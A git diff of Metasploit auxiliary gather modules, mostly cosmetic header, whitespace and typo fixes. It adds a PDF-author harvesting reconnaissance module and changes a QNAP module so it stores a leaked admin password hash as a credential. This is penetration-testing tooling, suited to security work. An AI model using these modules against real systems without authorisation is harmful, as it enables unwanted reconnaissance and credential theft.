diff --git a/modules/auxiliary/gather/external_ip.rb b/modules/auxiliary/gather/external_ip.rb
index 66432a8488..3f0f65686b 100644
--- a/modules/auxiliary/gather/external_ip.rb
+++ b/modules/auxiliary/gather/external_ip.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
 
   # Exploit mixins should be called first
@@ -50,5 +48,4 @@ end
       report_host(our_addr) if datastore['REPORT_HOST']
     end
   end
-
 end
diff --git a/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb b/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb
index ac54a6352b..bb7b2ef2c9 100644
--- a/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb
+++ b/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/gather/firefox_pdfjs_file_theft.rb b/modules/auxiliary/gather/firefox_pdfjs_file_theft.rb
index 8786fbd948..c860d4be15 100644
--- a/modules/auxiliary/gather/firefox_pdfjs_file_theft.rb
+++ b/modules/auxiliary/gather/firefox_pdfjs_file_theft.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpServer::HTML
   include Msf::Auxiliary::Report
 
diff --git a/modules/auxiliary/gather/flash_rosetta_jsonp_url_disclosure.rb b/modules/auxiliary/gather/flash_rosetta_jsonp_url_disclosure.rb
index 466b2534b1..75d2676aed 100644
--- a/modules/auxiliary/gather/flash_rosetta_jsonp_url_disclosure.rb
+++ b/modules/auxiliary/gather/flash_rosetta_jsonp_url_disclosure.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'uri'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpServer::HTML
   include Msf::Auxiliary::Report
 
@@ -196,5 +195,4 @@ class MetasploitModule < Msf::Auxiliary
   def rhost
     URI.parse(datastore["JSONP_URL"]).host
   end
-
 end
diff --git a/modules/auxiliary/gather/hp_enum_perfd.rb b/modules/auxiliary/gather/hp_enum_perfd.rb
index d09c3e281d..951e76cba9 100644
--- a/modules/auxiliary/gather/hp_enum_perfd.rb
+++ b/modules/auxiliary/gather/hp_enum_perfd.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/gather/hp_snac_domain_creds.rb b/modules/auxiliary/gather/hp_snac_domain_creds.rb
index ac2fd50732..7bb41e6bd1 100644
--- a/modules/auxiliary/gather/hp_snac_domain_creds.rb
+++ b/modules/auxiliary/gather/hp_snac_domain_creds.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'rexml/document'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::HttpClient
 
diff --git a/modules/auxiliary/gather/http_pdf_authors.rb b/modules/auxiliary/gather/http_pdf_authors.rb
new file mode 100644
index 0000000000..3217609ca2
--- /dev/null
+++ b/modules/auxiliary/gather/http_pdf_authors.rb
@@ -0,0 +1,186 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'pdf-reader'
+
+class MetasploitModule < Msf::Auxiliary
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Auxiliary::Report
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'        => 'Gather PDF Authors',
+      'Description' => %q{
+        This module downloads PDF documents and extracts the author's
+        name from the document metadata.
+
+        This module expects a URL to be provided using the URL option.
+        Alternatively, multiple URLs can be provided by supplying the
+        path to a file containing a list of URLs in the URL_LIST option.
+
+        The URL_TYPE option is used to specify the type of URLs supplied.
+
+        By specifying 'pdf' for the URL_TYPE, the module will treat
+        the specified URL(s) as PDF documents. The module will
+        download the documents and extract the authors' names from the
+        document metadata.
+
+        By specifying 'html' for the URL_TYPE, the module will treat
+        the specified URL(s) as HTML pages. The module will scrape the
+        pages for links to PDF documents, download the PDF documents,
+        and extract the author's name from the document metadata.
+      },
+      'License'     => MSF_LICENSE,
+      'Author'      => 'Brendan Coles <bcoles[at]gmail.com>'))
+    register_options(
+      [
+        OptString.new('URL', [ false, 'The target URL', '' ]),
+        OptString.new('URL_LIST', [ false, 'File containing a list of target URLs', '' ]),
+        OptEnum.new('URL_TYPE', [ true, 'The type of URL(s) specified', 'html', [ 'pdf', 'html' ] ]),
+        OptBool.new('STORE_LOOT', [ false, 'Store authors in loot', true ])
+      ])
+    deregister_options 'RHOST', 'RPORT', 'VHOST'
+  end
+
+  def progress(current, total)
+    done = (current.to_f / total.to_f) * 100
+    percent = "%3.2f%%" % done.to_f
+    print_status "%7s done (%d/%d files)" % [percent, current, total]
+  end
+
+  def load_urls
+    return [ datastore['URL'] ] unless datastore['URL'].to_s.eql? ''
+
+    if datastore['URL_LIST'].to_s.eql? ''
+      fail_with Failure::BadConfig, 'No URL(s) specified'
+    end
+
+    unless File.file? datastore['URL_LIST'].to_s
+      fail_with Failure::BadConfig, "File '#{datastore['URL_LIST']}' does not exist"
+    end
+
+    File.open(datastore['URL_LIST'], 'rb') { |f| f.read }.split(/\r?\n/)
+  end
+
+  def read(data)
+    Timeout.timeout(10) do
+      reader = PDF::Reader.new data
+      return parse reader
+    end
+  rescue PDF::Reader::MalformedPDFError
+    print_error "Could not parse PDF: PDF is malformed (MalformedPDFError)"
+    return
+  rescue PDF::Reader::UnsupportedFeatureError
+    print_error "Could not parse PDF: PDF contains unsupported features (UnsupportedFeatureError)"
+    return
+  rescue SystemStackError
+    print_error "Could not parse PDF: PDF is malformed (SystemStackError)"
+    return
+  rescue SyntaxError
+    print_error "Could not parse PDF: PDF is malformed (SyntaxError)"
+    return
+  rescue Timeout::Error
+    print_error "Could not parse PDF: PDF is malformed (Timeout)"
+    return
+  rescue => e
+    print_error "Could not parse PDF: Unhandled exception: #{e}"
+    return
+  end
+
+  def parse(reader)
+    # PDF
+    # print_status "PDF Version: #{reader.pdf_version}"
+    # print_status "PDF Title: #{reader.info['title']}"
+    # print_status "PDF Info: #{reader.info}"
+    # print_status "PDF Metadata: #{reader.metadata}"
+    # print_status "PDF Pages: #{reader.page_count}"
+
+    # Software
+    # print_status "PDF Creator: #{reader.info[:Creator]}"
+    # print_status "PDF Producer: #{reader.info[:Producer]}"
+
+    # Author
+    reader.info[:Author].class == String ? reader.info[:Author].split(/\r?\n/).first : ''
+  end
+
+  def run
+    urls = load_urls
+
+    if datastore['URL_TYPE'].eql? 'html'
+      urls = extract_pdf_links urls
+
+      if urls.empty?
+        print_error 'Found no links to PDF files'
+        return
+      end
+
+      print_line
+      print_good "Found links to #{urls.size} PDF files:"
+      print_line urls.join "\n"
+      print_line
+    end
+
+    authors = extract_authors urls
+
+    print_line
+
+    if authors.empty?
+      print_status 'Found no authors'
+      return
+    end
+
+    print_good "Found #{authors.size} authors: #{authors.join ', '}"
+
+    return unless datastore['STORE_LOOT']
+
+    p = store_loot 'pdf.authors', 'text/plain', nil, authors.join("\n"), 'pdf.authors.txt', 'PDF authors'
+    print_good "File saved in: #{p}"
+  end
+
+  def extract_pdf_links(urls)
+    print_status "Processing #{urls.size} URLs..."
+
+    pdf_urls = []
+    urls.each_with_index do |url, index|
+      next if url.blank?
+      html = download url
+      next if html.blank?
+      doc = Nokogiri::HTML html
+      doc.search('a[href]').select { |n| n['href'][/(\.pdf$|\.pdf\?)/] }.map do |n|
+        pdf_urls << URI.join(url, n['href']).to_s
+      end
+      progress(index + 1, urls.size)
+    end
+
+    pdf_urls.uniq
+  end
+
+  def extract_authors(urls)
+    print_status "Processing #{urls.size} URLs..."
+
+    authors = []
+    max_len = 256
+    urls.each_with_index do |url, index|
+      next if url.blank?
+      file = download url
+      next if file.blank?
+      pdf = StringIO.new
+      pdf.puts file
+      author = read pdf
+      unless author.blank?
+        print_good "PDF Author: #{author}"
+        if author.length > max_len
+          print_warning "Warning: Truncated author's name at #{max_len} characters"
+          authors << author[0...max_len]
+        else
+          authors << author
+        end
+      end
+      progress(index + 1, urls.size)
+    end
+
+    authors.uniq
+  end
+end
diff --git a/modules/auxiliary/gather/huawei_wifi_info.rb b/modules/auxiliary/gather/huawei_wifi_info.rb
index 5d0e69499d..77a97bfd98 100644
--- a/modules/auxiliary/gather/huawei_wifi_info.rb
+++ b/modules/auxiliary/gather/huawei_wifi_info.rb
@@ -1,11 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'base64'
-class MetasploitModule < Msf::Auxiliary
 
+class MetasploitModule < Msf::Auxiliary
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
 
diff --git a/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb b/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb
index 297f8fd22e..976b4e7cfe 100644
--- a/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb
+++ b/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb
@@ -1,13 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'enumerable'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
 
@@ -306,5 +304,4 @@ class MetasploitModule < Msf::Auxiliary
       print_error("No users discovered")
     end
   end
-
 end
diff --git a/modules/auxiliary/gather/ibm_sametime_room_brute.rb b/modules/auxiliary/gather/ibm_sametime_room_brute.rb
index 19b484db96..b28d1e03b7 100644
--- a/modules/auxiliary/gather/ibm_sametime_room_brute.rb
+++ b/modules/auxiliary/gather/ibm_sametime_room_brute.rb
@@ -1,13 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'enumerable'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
 
@@ -191,5 +189,4 @@ class MetasploitModule < Msf::Auxiliary
     print_good(roomtbl.to_s)
 
   end
-
 end
diff --git a/modules/auxiliary/gather/ibm_sametime_version.rb b/modules/auxiliary/gather/ibm_sametime_version.rb
index ff27225b76..547bc4059b 100644
--- a/modules/auxiliary/gather/ibm_sametime_version.rb
+++ b/modules/auxiliary/gather/ibm_sametime_version.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'uri'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
 
@@ -322,5 +321,4 @@ class MetasploitModule < Msf::Auxiliary
 
     report unless @version_info.empty?
   end
-
 end
diff --git a/modules/auxiliary/gather/ie_sandbox_findfiles.rb b/modules/auxiliary/gather/ie_sandbox_findfiles.rb
index c4199f4896..3ad0bd04ed 100644
--- a/modules/auxiliary/gather/ie_sandbox_findfiles.rb
+++ b/modules/auxiliary/gather/ie_sandbox_findfiles.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://www.metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpServer::HTML
 
   def initialize(info={})
diff --git a/modules/auxiliary/gather/ie_uxss_injection.rb b/modules/auxiliary/gather/ie_uxss_injection.rb
index f7781ce403..2f8a28dfaa 100644
--- a/modules/auxiliary/gather/ie_uxss_injection.rb
+++ b/modules/auxiliary/gather/ie_uxss_injection.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpServer
 
   def initialize(info={})
@@ -150,5 +149,4 @@ class MetasploitModule < Msf::Auxiliary
       send_response(cli, get_html)
     end
   end
-
 end
diff --git a/modules/auxiliary/gather/impersonate_ssl.rb b/modules/auxiliary/gather/impersonate_ssl.rb
index 62c63d88b0..87985c1d38 100644
--- a/modules/auxiliary/gather/impersonate_ssl.rb
+++ b/modules/auxiliary/gather/impersonate_ssl.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Report
 
@@ -22,7 +21,7 @@ class MetasploitModule < Msf::Auxiliary
         (self.signed) version using the information from the remote version. The module
         then Outputs (PEM|DER) format private key / certificate and a combined version
         for use in Apache or other Metasploit modules requiring SSLCert Inputs for private
-        key / CA cert have been provided for those with diginator certs hanging about!
+        key / CA cert have been provided for those with DigiNotar certs hanging about!
       }
     ))
 
diff --git a/modules/auxiliary/gather/java_rmi_registry.rb b/modules/auxiliary/gather/java_rmi_registry.rb
index 9e840447db..aa1e7773c4 100644
--- a/modules/auxiliary/gather/java_rmi_registry.rb
+++ b/modules/auxiliary/gather/java_rmi_registry.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'rex/java/serialization'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::Java::Rmi::Client
 
diff --git a/modules/auxiliary/gather/jenkins_cred_recovery.rb b/modules/auxiliary/gather/jenkins_cred_recovery.rb
index 5e5fc86ddf..2271d829de 100644
--- a/modules/auxiliary/gather/jenkins_cred_recovery.rb
+++ b/modules/auxiliary/gather/jenkins_cred_recovery.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'json'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
 
   def initialize(info = {})
@@ -290,5 +289,4 @@ class MetasploitModule < Msf::Auxiliary
   def print_error(msg='')
     super("#{peer} - #{msg}")
   end
-
 end
diff --git a/modules/auxiliary/gather/joomla_com_realestatemanager_sqli.rb b/modules/auxiliary/gather/joomla_com_realestatemanager_sqli.rb
index 6e69b667e9..41b7e41c9e 100644
--- a/modules/auxiliary/gather/joomla_com_realestatemanager_sqli.rb
+++ b/modules/auxiliary/gather/joomla_com_realestatemanager_sqli.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::HttpClient
 
diff --git a/modules/auxiliary/gather/joomla_contenthistory_sqli.rb b/modules/auxiliary/gather/joomla_contenthistory_sqli.rb
index 11d26ccb48..d5cc95acf3 100644
--- a/modules/auxiliary/gather/joomla_contenthistory_sqli.rb
+++ b/modules/auxiliary/gather/joomla_contenthistory_sqli.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::HttpClient
 
@@ -204,5 +203,4 @@ class MetasploitModule < Msf::Auxiliary
       }
     )
   end
-
 end
diff --git a/modules/auxiliary/gather/joomla_weblinks_sqli.rb b/modules/auxiliary/gather/joomla_weblinks_sqli.rb
index 664816158e..661bdea9ed 100644
--- a/modules/auxiliary/gather/joomla_weblinks_sqli.rb
+++ b/modules/auxiliary/gather/joomla_weblinks_sqli.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
 
   def initialize(info = {})
diff --git a/modules/auxiliary/gather/kerberos_enumusers.rb b/modules/auxiliary/gather/kerberos_enumusers.rb
index fc7d164d45..e67bdea8c3 100644
--- a/modules/auxiliary/gather/kerberos_enumusers.rb
+++ b/modules/auxiliary/gather/kerberos_enumusers.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -11,7 +11,7 @@ class MetasploitModule < Msf::Auxiliary
     super(update_info(info,
       'Name' => 'Kerberos Domain User Enumeration',
       'Description' => %q(
-        This module will enumerate valid Domain Users via Kerberos from an unauthenticated perspective. It utilises
+        This module will enumerate valid Domain Users via Kerberos from an unauthenticated perspective. It utilizes
         the different responses returned by the service for valid and invalid users.
       ),
       'Author' =>
diff --git a/modules/auxiliary/gather/konica_minolta_pwd_extract.rb b/modules/auxiliary/gather/konica_minolta_pwd_extract.rb
index 08f837e281..efea5e15be 100644
--- a/modules/auxiliary/gather/konica_minolta_pwd_extract.rb
+++ b/modules/auxiliary/gather/konica_minolta_pwd_extract.rb
@@ -1,9 +1,10 @@
-#
-# This module requires Metasploit: http://metasploit.com/download
+##
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'rex/proto/http'
+
 class MetasploitModule < Msf::Auxiliary
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
@@ -141,7 +142,7 @@ class MetasploitModule < Msf::Auxiliary
     end
 
     rescue ::Rex::ConnectionError
-      print_error("Version check Connection failed.")
+      print_error("Version check Connection failed")
   end
 
   # This section logs on and retrieves AuthKey token
@@ -165,7 +166,7 @@ class MetasploitModule < Msf::Auxiliary
         extract(major, minor, authkey)
       end
     rescue ::Rex::ConnectionError
-      print_error("Login Connection failed.")
+      print_error("Login Connection failed")
     end
   end
 
@@ -219,7 +220,7 @@ class MetasploitModule < Msf::Auxiliary
       end
 
     else
-      print_status('No AuthKey returned possible causes Authentication failed or unsupported Konica model')
+      print_error('No AuthKey returned possible causes Authentication failed or unsupported Konica model')
       return
     end
   end
diff --git a/modules/auxiliary/gather/lansweeper_collector.rb b/modules/auxiliary/gather/lansweeper_collector.rb
index d384f3e8fc..d326fe3e55 100644
--- a/modules/auxiliary/gather/lansweeper_collector.rb
+++ b/modules/auxiliary/gather/lansweeper_collector.rb
@@ -1,3 +1,8 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
 class MetasploitModule < Msf::Auxiliary
   include Msf::Exploit::Remote::MSSQL
   include Msf::Auxiliary::Report
diff --git a/modules/auxiliary/gather/mantisbt_admin_sqli.rb b/modules/auxiliary/gather/mantisbt_admin_sqli.rb
index 689432adca..d6973237ee 100644
--- a/modules/auxiliary/gather/mantisbt_admin_sqli.rb
+++ b/modules/auxiliary/gather/mantisbt_admin_sqli.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
-## Current source: https://github.com/rapid7/metasploit-framework
-###
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
 
   def initialize(info={})
@@ -97,5 +96,4 @@ class MetasploitModule < Msf::Auxiliary
       print_good("File saved to: #{path}")
     end
   end
-
 end
diff --git a/modules/auxiliary/gather/mcafee_epo_xxe.rb b/modules/auxiliary/gather/mcafee_epo_xxe.rb
index 727d9339e8..e8fce0712e 100644
--- a/modules/auxiliary/gather/mcafee_epo_xxe.rb
+++ b/modules/auxiliary/gather/mcafee_epo_xxe.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'openssl'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
 
   def initialize(info = {})
@@ -254,5 +253,4 @@ class MetasploitModule < Msf::Auxiliary
 
     print_good("The decrypted password for the keystore, 'sa' SQL user (if using local instance), and possibly 'admin' is: #{passphrase}")
   end
-
 end
diff --git a/modules/auxiliary/gather/memcached_extractor.rb b/modules/auxiliary/gather/memcached_extractor.rb
index 5964c69dd2..d86f92f06d 100644
--- a/modules/auxiliary/gather/memcached_extractor.rb
+++ b/modules/auxiliary/gather/memcached_extractor.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/gather/mongodb_js_inject_collection_enum.rb b/modules/auxiliary/gather/mongodb_js_inject_collection_enum.rb
index d2b94833ff..fd87575c25 100644
--- a/modules/auxiliary/gather/mongodb_js_inject_collection_enum.rb
+++ b/modules/auxiliary/gather/mongodb_js_inject_collection_enum.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
-## Current source: https://github.com/rapid7/metasploit-framework
-###
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
 
diff --git a/modules/auxiliary/gather/ms14_052_xmldom.rb b/modules/auxiliary/gather/ms14_052_xmldom.rb
index cdad77cd51..fe9c942f25 100644
--- a/modules/auxiliary/gather/ms14_052_xmldom.rb
+++ b/modules/auxiliary/gather/ms14_052_xmldom.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/exploit/jsobfu'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpServer::HTML
   include Msf::Exploit::JSObfu
 
@@ -216,5 +215,4 @@ class MetasploitModule < Msf::Auxiliary
       send_response(cli, html)
     end
   end
-
 end
diff --git a/modules/auxiliary/gather/mybb_db_fingerprint.rb b/modules/auxiliary/gather/mybb_db_fingerprint.rb
index 2a93da78e9..dd3ad0da25 100644
--- a/modules/auxiliary/gather/mybb_db_fingerprint.rb
+++ b/modules/auxiliary/gather/mybb_db_fingerprint.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
 
   def initialize(info = {})
diff --git a/modules/auxiliary/gather/natpmp_external_address.rb b/modules/auxiliary/gather/natpmp_external_address.rb
index 10a4135613..b13e5422b7 100644
--- a/modules/auxiliary/gather/natpmp_external_address.rb
+++ b/modules/auxiliary/gather/natpmp_external_address.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::Udp
   include Msf::Auxiliary::UDPScanner
diff --git a/modules/auxiliary/gather/netgear_password_disclosure.rb b/modules/auxiliary/gather/netgear_password_disclosure.rb
index 5f3c6b2f5e..d687702e40 100644
--- a/modules/auxiliary/gather/netgear_password_disclosure.rb
+++ b/modules/auxiliary/gather/netgear_password_disclosure.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
 
   def initialize(info = {})
diff --git a/modules/auxiliary/gather/opennms_xxe.rb b/modules/auxiliary/gather/opennms_xxe.rb
index 2d466ce400..5d50304062 100644
--- a/modules/auxiliary/gather/opennms_xxe.rb
+++ b/modules/auxiliary/gather/opennms_xxe.rb
@@ -1,7 +1,11 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
 require 'openssl'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
 
   def initialize(info = {})
diff --git a/modules/auxiliary/gather/qnap_backtrace_admin_hash.rb b/modules/auxiliary/gather/qnap_backtrace_admin_hash.rb
index 597ea66365..0501852bcb 100644
--- a/modules/auxiliary/gather/qnap_backtrace_admin_hash.rb
+++ b/modules/auxiliary/gather/qnap_backtrace_admin_hash.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
 
   def initialize(info = {})
@@ -90,12 +89,15 @@ class MetasploitModule < Msf::Auxiliary
 
     if admin_hash
       print_good("Hopefully this is your hash: #{admin_hash}")
-      report_note(
-        host: rhost,
-        port: rport,
-        type: 'qnap.admin.hash',
-        data: admin_hash
-      )
+      credential_data = {
+        workspace_id:    myworkspace_id,
+        module_fullname: self.fullname,
+        username:        'admin',
+        private_data:    admin_hash,
+        private_type:    :nonreplayable_hash,
+        jtr_format:      'md5crypt'
+      }.merge(service_details)
+      create_credential(credential_data)
     else
       print_error('Looks like we didn\'t find the hash :(')
     end
@@ -202,5 +204,4 @@ class MetasploitModule < Msf::Auxiliary
       end
     end
   end
-
 end
diff --git a/modules/auxiliary/gather/safari_file_url_navigation.rb b/modules/auxiliary/gather/safari_file_url_navigation.rb
index 5f6ccbf6c9..5a2f6bf4ef 100644
--- a/modules/auxiliary/gather/safari_file_url_navigation.rb
+++ b/modules/auxiliary/gather/safari_file_url_navigation.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
-###
+##
 
 require 'msf/core/exploit/format/webarchive'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::FtpServer
   include Msf::Exploit::Format::Webarchive
   include Msf::Auxiliary::Report
@@ -341,5 +340,4 @@ class MetasploitModule < Msf::Auxiliary
     rescue
     end
   end
-
 end
diff --git a/modules/auxiliary/gather/search_email_collector.rb b/modules/auxiliary/gather/search_email_collector.rb
index bdc3def243..362eef55b3 100644
--- a/modules/auxiliary/gather/search_email_collector.rb
+++ b/modules/auxiliary/gather/search_email_collector.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/gather/searchengine_subdomains_collector.rb b/modules/auxiliary/gather/searchengine_subdomains_collector.rb
index 37ad5ca502..d4e0fe1e44 100644
--- a/modules/auxiliary/gather/searchengine_subdomains_collector.rb
+++ b/modules/auxiliary/gather/searchengine_subdomains_collector.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/gather/shodan_honeyscore.rb b/modules/auxiliary/gather/shodan_honeyscore.rb
index b525589c60..0518ba60f2 100644
--- a/modules/auxiliary/gather/shodan_honeyscore.rb
+++ b/modules/auxiliary/gather/shodan_honeyscore.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -86,7 +86,7 @@ class MetasploitModule < Msf::Auxiliary
     elsif score == 1.0
       print_good("#{tgt} is definitely a honeypot")
     else  # We shouldn't ever get here as the previous checks should catch an unexpected response
-      print_error('An unexpected error occured.')
+      print_error('An unexpected error occurred.')
       return
     end
     print_score(score)
